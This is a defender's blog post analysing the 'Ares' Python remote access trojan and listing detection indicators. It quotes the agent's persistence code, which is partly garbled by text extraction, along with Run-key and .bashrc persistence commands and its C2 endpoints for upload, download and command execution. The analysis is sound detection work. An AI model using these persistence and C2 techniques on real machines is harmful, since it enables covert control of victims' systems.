Abstract

Hello and welcome to this new blog series titled “Understanding & Detecting C2 Frameworks”. In the coming weeks and months, i’ll be doing some analysis and deep dives into old and new open source C2…

Note

This is just a loose note, a markdown formatted article I downloaded from Medium, hence the weird code formatting and images. I will be cleaning this up later.


[

Nasreddine Bencherchali

](https://nasbench.medium.com/?source=post_page-----8c96aa47e50d--------------------------------)

Introduction

Hello and welcome to this new blog series titled “Understanding & Detecting C2 Frameworks”. In the coming weeks and months, i’ll be doing some analysis and deep dives into old and new open source C2 frameworks. Analyzing the source code and try to understand the inner workings in the hope to get more insights into the techniques being used in these different tools. So without further a do let’s start this one with a relatively simple and old framework (RAT) named “Ares” by “sweetsoftware”.

Ares

Here is a definition from their GitHub repository

Ares is a Python Remote Access Tool. Ares is made of two main programs:

A Command aNd Control server, which is a Web interface to administer the agents

An agent program, which is run on the compromised host, and ensures communication with the CNC

In practice the folder structure looks a little like this

“Ares” Folder structure

Let’s start our journey by analyzing the C2 Agent

“agent.py”

The agent is located in the file “agent.py”. It consists of one giant class called “Agent” that contains all the functionalities. This class will be called from a function called “main” that in turns will execute the “run” function responsible for running the agent.

Within this function we encounter the first functionality of this agent which persistence.

Persistence

Depending on a boolean read from the configuration file “config.py” we call the persist function.

def persist (self):
 
""" Installs the agent """ 
if not getattr(sys, 'frozen', False):
    self.send_output('[!] Persistence only supported on compiled agents.' 
    return
if self.is installed ():
    self. send output ('[!] Agent seems to be already installed.')
    return
if platform.system () == 'Linux'
    persist dir = self .expand path ('~/.ares')
if not os.path.exists (persist_dir):
 
os.makedirs (persist dir)
 
agent_path = os.path. join(persist_dir, os.path. basename (sys .executable))
 
shutil. copyfile (sys.executable, agent_path) os. system(" chmod +x ' + agent_path)
 
if os.path.exists (self.expand path ("~/ .config/autostart/")):
 
desktop entry
 
= "[Desktop Entry]\nVersion=1.0\nType-Application\nName-Ares\nExec=Ss\n'&agent_path
 
with open (self.expand path ('~/.config/autostart/ares.desktop'), 'w') as f:
 
f.write (desktop entry)
 
else:
 
with open (self .expand path ("~/.bashrc"),
 
"a") as f:
 
f.write("\n(if [ $(ps aux|grep
 
" + os. path. basename (sys .executable) + "¡wc -1) -lt 2 ]; then "
 
agent _path + "; f1&) \n")
 
elif platform.system() == 'Windows'
 
persist_dir = os.path. join (os. getenv ( 'USERPROFILE'),
 
'ares')
 
if not os.path.exists (persist dir):
 
os.makedirs (persist dir)
 
agent_path = os.path. join(persist_dir, os.path. basename (sys .executable))
 
shutil.copyfile(sys.executable, agent_path)
 
md = "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v ares /t REG_ SZ /d \"Ss\'" & agent_path
 
subprocess. Popen (cmd, shell=True) self. send output ('[+] Agent installed.'

“persist” function

The function only executes if the agent is compiled. This is verified by checking the value the “frozen” attribute from the “sys” package. It also verifies if the agent is already installed on the machine by calling the “is_installed” function which is a wrapper for a function called “get_install_dir”

“is_installed” function

The “get_install_dir” check the operating system, and depending if its “Linux” or “Windows”. It’ll check the home directory of the “user” running the agent and looks for a folder named “ares”

  • Linux : “~/.ares”
  • Windows : “%USERPROFILE%/ares”

If the agent is not installed on the machine then the following commands will get executed depending on the platform

Linux

  • Create directory “.ares” within the home directory of the user: ~/.ares
  • Copy the executable to the following aforementioned directory : ~/.ares/[name_of_executable]
  • Executes : chmod +x ~/.ares/[name_of_executable]
  • If “~/.config/autostart/” exists then it’ll create the file “~/.config/autostart/ares.desktop” with the following content
[Desktop Entry]Version=1.0Type=ApplicationName=AresExec=~/.ares/[name_of_executable]
  • If aforementioned directory doesn’t exists then the following content will be appended to “~/.bashrc”
(if [ $(ps aux|grep " + os.path.basename(sys.executable) + "|wc -l) -lt 2 ]; then " + ~/.ares/[name_of_executable] + ";fi&)

Windows

  • Create directory “ares” within the user profile directory : %USERPROFILE%/ares
  • Copy the executable to the following aforementioned directory : %USERPROFILE%/ares/[name_of_executable]
  • Create value “ares” in the “HKCU\Software\Microsoft\Windows\CurrentVersion\Run” registry key with the following command
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v ares /t REG_SZ /d \"%s\"" % [agent_path]

With that the “installation” of the agent is finished and it’ll start listening to commands from the C2 in an infinite loop.

“main” loop

It’ starts by executing a function called “server_hello” which’ll perform a simple post request to the following URL and wait for instruction.

POST http(s)://[SERVER_IP]/api/USERNAME_[UUID]/hello

The request will send the following information to the C2 :

  • Platform
  • Hostname
  • Username

“server_hello” Function

Note that since no “User-Agent” is specified, the default User-Agent of the “requests” library will be used. (See below)

User-Agent: python-requests/[Version]

The result of this request will be stored in the variable “todo” that will contain any command(s) sent by the C2 server.

Before it checks the value returned from the server, the function “update_consecutive_failed_connections” will be called. This function serves the purpose of logging the number of “failed” connections or exceptions within the main loop.

If the “agent” is installed, a file named “failed_connections” will get created in the “%USERPROFILE%/ares” folder on Windows systems and in “~/.ares” folder on Linux systems.

The next set of functions that’ll get executed will depend on what command(s) the C2 server will send. Most of the functions contain some unique artifact(s) that’ll help us detect the behavior or functionality being used.

One thing to note before we get into the supported commands. Is that almost all command make use of a function called “send_output”.

“send_output” Function

The role of this function is to send any data back to the C2 server via a post request using this URL

POST http(s)://[SERVER_IP]/api/USERNAME_[UUID]/report

Bellow are the commands supported by the agent.

cd

This command simply changes the current directory to whatever is sent from the C2

“cd” Command

upload

The agent can upload any file to the C2 server. The file in question will be sent via a post request to the following URL:

POST http(s)://[SERVER_IP]/api/USERNAME_[UUID]/upload

“upload” command

download

This command acts as a download agent. Where the C2 server will send a remote file to be downloaded and specify a location to store it.

“download” Function

The agent will send first an output to the C2 via the “send_output” function indicating the start of the download. Then a “get” request will be made to whatever URL was provided from the C2.

This can be identified by looking for the following two requests made back to back with the a “User-Agent” of “python-requests/[Version]” .

POST http(s)://[SERVER_IP]/api/USERNAME_[UUID]/reportGET http(s)://[REMOTE_URL]

clean

The “clean” command will basically undo everything that the “persist” command/function did.

“clean” Function

Depending on the platform the following commands will get executed

Linux

  • Deletes everything under the “~/.ares” directory
  • Deletes “~/.config/autostart/ares.desktop”
  • grep -v .ares .bashrc > .bashrc.tmp;mv .bashrc.tmp .bashrc

Windows

  • reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v ares
  • reg add HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce /f /v ares /t REG_SZ /d \”cmd.exe /c del /s /q [persistence_directory] & rmdir [persistence_directory]\””

persist

If persistence was not enabled in the config file. The operator of the C2 can send the “persist” command to initiate the persistence process (See start of the blog for a detailed description of this function).

exit

This command will simply kill the agent and exit

“exit” Function

zip

The “agent” offers the possibility to zip any file or folder and save them on any location.

“zip” Function

The newly created zip file can be located wherever, but the most important thing regarding detection is that it will not get deleted automatically. Unless explicitly stated by an “rm” or “del” from the server. So depending on the operator of the C2, any zip file created can still be found on the infected machine.

python

It lets the operator execute arbitrary python files / commands using the “exec” function.

“python” Function

screenshot

Create a screenshot and saves it under the the temp directory of the user (“%temp%” on windows and “/tmp” on linux). Then uploads the results using the “upload” function described above.

Note that the screenshot in question will not get deleted by the agent so you can look for any “.png” files in the temp directory.

“screenshot” Function

help

This will simply print a help menu showcasing the supported operations/commands

“help” Function

runcmd

The final command offered by the agent is arbitrary command execution. The “runcmd” function will execute any commands sent from the C2 using the python “subprocess” package.

“runcmd” Function

One thing to note is that the agent has an “idle” mode that can be configured from the CONFIG file.

This concludes the analysis of all the functionalities offered by the agent. Now let’s take a quick look at the server portion of the code.

“ares.py”

C2 Interface

The server side part of this framework is straightforward. Its written in flask and has a local database to store information about commands, agents connected…etc.

By default the C2 server has the server header hard-coded to the string “Ares”. So every response sent from the server will contain the server header “Ares”.

Response form C2

Also, the files uploaded to the C2 server using the “upload” command from the agent will be stored by default on the directory “uploads” and they can be accessed directly from the server without the need for any authentication.

http(s)://[C2_IP]/uploads/[agent_id]/[filename]

Apart from this, the code is just handling the requests sent from the agent.

Conclusion

That’s it for this first blog post. Hopefully it was helpful and you got something out of it. Until the next one. If you have any C2 frameworks suggestions you want me to look at or any feedback you can find me on twitter @nas_bench

Thanks for reading.

Indicators

User-Agent

  • User-Agent: python-requests/2.18.4

URL’s & Network Artifacts

  • http(s)://[SERVER_IP]/api/USERNAME_[UUID]/upload
  • http(s)://[SERVER_IP]/api/USERNAME_[UUID]/report
  • http(s)://[SERVER_IP]/api/USERNAME_[UUID]/hello
  • http(s)://[C2_IP]/uploads/[agent_id]/[filename]
  • Response header : “Server : Ares”

Telemetry

  • Folder creation / deletion
  • File creation

Commands (Linux)

  • chmod +x ~/.ares/[name_of_executable]
  • grep -v .ares .bashrc > .bashrc.tmp;mv .bashrc.tmp .bashrc

Commands (Windows)

  • reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v ares
  • reg add HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce /f /v ares /t REG_SZ /d \”cmd.exe /c del /s /q [persistence_directory] & rmdir [persistence_directory]\””
  • reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v ares /t REG_SZ /d \”%s\”” % [agent_path]

Disk Artifacts

  • /tmp/[random_name].png
  • %temp%/[random_name].png
  • Zip files creates by the ZIP command. Creation date can be correlated with HTTP requests to create the zip file
  • Files downloaded to the agent using the download command. Creation date can be correlated with HTTP requests to download the file
  • File located inside the “ares” folder : failed_connections
  • Creation of folder (Linux) : “~/.ares”
  • Creation of folder (Windows): “%USERPROFILE%/ares”
  • Written to “.bashrc” : (if [ $(ps aux|grep “ + os.path.basename(sys.executable) + “|wc -l) -lt 2 ]; then “ + ~/.ares/[name_of_executable] + “;fi&)
  • Written to “~/.config/autostart/ares.desktop”
[Desktop Entry]Version=1.0Type=ApplicationName=AresExec=~/.ares/[name_of_executable]

MITRE ATT&CK

Below are some of the techniques used by this tool